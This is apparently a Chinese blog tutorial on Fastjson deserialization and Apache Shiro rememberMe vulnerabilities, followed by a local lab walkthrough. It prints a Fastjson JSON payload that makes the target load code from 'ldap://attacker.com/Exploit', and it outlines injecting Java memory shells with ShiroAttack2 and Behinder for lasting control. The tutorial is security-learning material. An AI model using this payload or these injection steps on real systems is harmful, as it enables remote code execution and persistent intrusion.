FastJson反序列化和Shiro漏洞

声明

本文仅用于网络安全技术学习与研究,文中涉及的 IP 地址均为本地实验环境或已脱敏信息,不涉及任何真实生产环境。

请勿将本文内容用于任何未授权的测试或非法用途,由此产生的后果需自行承担。

参考博文:https://blog.csdn.net/2402_84408069/article/details/148216863

https://forum.butian.net/share/2980

1 基础知识

Fastjson / Shiro 漏洞

反序列化 RCE

注入 Java 内存马

长期控制

1.1 反序列化

  • 序列化(Serialization)

    👉 把 内存中的对象 转换成 可传输/可存储的数据格式

    • 如:byte 流、JSON、XML
  • 反序列化(Deserialization)
    👉 把 数据格式 再还原成 内存中的对象

java 复制代码
User u = new User("admin", 18);   // 内存对象
↓ 序列化
{"name":"admin","age":18}         // 字符串
↓ 反序列化
User u2 = new User("admin", 18);  // 新对象

攻击者往往通过控制反序列化的数据让程序反序列化恶意对象。

1.2Fastjson

FastJson 是阿里巴巴开源的一款高性能 Java JSON 解析/生成库。

cpp 复制代码
// 对象转 JSON 字符串
String jsonStr = JSON.toJSONString(user);  

// JSON 字符串转对象
User user = JSON.parseObject(jsonStr, User.class);  

1.3 FastJson反序列化漏洞

攻击者可以在JSON中构造特定的数据类型和结构,使Fastjson在解析时调用恶意构造的Java类或方法,从而实现远程代码执行。

在JSON数据中,@type字段可以用来指定反序列化时应该实例化的类的类型,尤其是Fastjson的autoType功能开启时,恶意用户可能会利用这个字段来构造恶意的JSON数据,在@type字段中指定恶意类路径。

payload示例:

bash 复制代码
{
  "@type": "com.sun.rowset.JdbcRowSetImpl",
  "dataSourceName": "ldap://attacker.com/Exploit",
  "autoCommit": true
}

如果FastJson在黑白名单过滤时存在缺陷,攻击者可通过特殊字符(如 \x 十六进制编码)绕过检测,执行任意代码。

1.4 Shiro漏洞

Apache Shiro 是一个 Java 安全框架,主要负责:

  • 身份认证(你是谁)

  • 权限控制(你能干什么)

  • 会话管理

  • rememberMe("记住我")

强特征:

bash 复制代码
Cookie: rememberMe=xxxx

本质:攻击者通过控制 rememberMe 等数据,让 Shiro 反序列化攻击者构造的对象,从而触发危险行为(甚至代码执行)。

2 实战演练

2.1 环境

1.项目地址:https://github.com/safe6Sec/ShiroAndFastJson

2.项目运行环境:IDEA+Marven+jdk-1.8

有内置marven的双击install,无的看这篇:

https://blog.csdn.net/xiguagaizi88/article/details/115376673

3.Shrio反序列化漏洞综合利用工具:https://github.com/SummerSec/ShiroAttack2/releases/tag/4.7.0

4.冰蝎:https://github.com/rebeyond/Behinder/releases

2.2 实验步骤

1.起服务

2.利用shiro

这一步访问你代码里开的端口和jessionid,可以开始自己打自己了=、=

这一步可以检验shiro漏洞是否利用成功。

内存马(listener,filter,servlet)类型注意用哪个工具注入哪个,如果项目重启了需要重新注入。

使用shiro利用工具时可以连yakit的代理抓包分析,可以发现Cookie中有rememberme的强特征。

shiro利用工具的内部逻辑:对cookie进行base64解码然后利用shiro爆破出的密钥AES解码;爆破利用链;注入内存马的时候由于超出了tomcat请求头长度限制,cookie部分作为了加载器,body部分作为真实payload。

3 代码审计

持续更新~

相关推荐
云水一下9 小时前
零基础玩转bWAPP靶场(三十一):XML/XPath 注入(搜索)
xml·web安全·bwapp
IsSh9nj6q10 小时前
Python全栈应用搭建神器magic-dash .新版本介绍
开发语言·python·dash
殷忆枫10 小时前
Linux 4G模块驱动适配实战:从手动绑定到自动识别
linux·运维·服务器
知彼解己10 小时前
Eclipse Temurin:企业级 Java JDK 发行版的最佳实践
java·ide·eclipse
朱容zr33313310 小时前
请解释“回表”的概念。
java·前端·数据库
不吃辣49010 小时前
vibe coding | 如何做一个 AI 音乐生成工具?
java·人工智能·后端·ai·ai编程
Cachel wood10 小时前
hands-on-modern-rl:动手学强化学习策略梯度reinforce
开发语言·python
NWU_LK10 小时前
【WebFlux】第八篇 —— 自定义调度器
java
AI人工智能+电脑小能手10 小时前
【大白话说Java面试题 第210题】【10_网络协议篇】第1题:说说 TCP/IP 网络五层模型
java·网络协议·tcp/ip·计算机网络·网络五层模型
wuminyu10 小时前
JUC组件逐层剥离与深度剖析
java·linux·c语言·jvm·c++·算法